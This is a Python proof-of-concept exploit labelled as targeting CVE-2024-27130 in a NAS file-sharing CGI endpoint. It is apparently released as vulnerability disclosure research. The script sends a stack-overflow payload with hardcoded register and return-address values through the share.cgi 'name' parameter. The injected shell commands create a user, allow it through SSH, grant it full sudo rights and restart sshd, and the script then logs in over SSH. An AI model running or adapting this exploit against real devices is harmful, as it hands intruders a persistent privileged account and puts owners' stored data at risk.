import argparse import os import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) parser = argparse.ArgumentParser(prog='PoC', description='PoC for CVE-2024-27130', usage="Obtain an 'ssid' by requesting a NAS user to share a file to you.") parser.add_argument('host') parser.add_argument('ssid') def main(args): docmd(args, f"/../../../../usr/local/bin/useradd -p \"$(openssl passwd -6 {parsedArgs.password})\" watchtowr #".encode('ascii')) docmd(args, b"/bin/sed -i -e 's/AllowUsers /AllowUsers watchtowr /' /etc/config/ssh/sshd_config # ") docmd(args, b"/../../../../bin/echo watchtowr ALL=\\(ALL\\) ALL >> /usr/etc/sudoers # ") docmd(args, b"/../../../../usr/bin/killall -SIGHUP sshd # ") def docmd(args, cmd): print(f"Doing command '{cmd}'") buf = cmd buf = buf + b'A' * (4082 - len(buf)) buf = buf + (0x54140508).to_bytes(4, 'little') # delimiter buf = buf + (0x54140508).to_bytes(4, 'little') # r0 and r3 buf = buf + (0x54140508).to_bytes(4, 'little') # buf = buf + (0x54140508).to_bytes(4, 'little') # r7 buf = buf + (0x73af5148).to_bytes(4, 'little') # pc payload = { 'ssid': args.ssid, 'func': 'get_file_size', 'total': '1', 'path': '/', 'name': buf } requests.post( f"https://{args.host}/cgi-bin/filemanager/share.cgi", verify=False, data=payload, timeout=2 ) def makeRandomString(): chars = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789" return "".join(chars[c % len(chars)] for c in os.urandom(8)) parsedArgs = parser.parse_args() parsedArgs.password = makeRandomString() main(parsedArgs) print(f"Created new user OK. Log in with password '{parsedArgs.password}' when prompted.") os.system(f'ssh watchtowr@{parsedArgs.host}')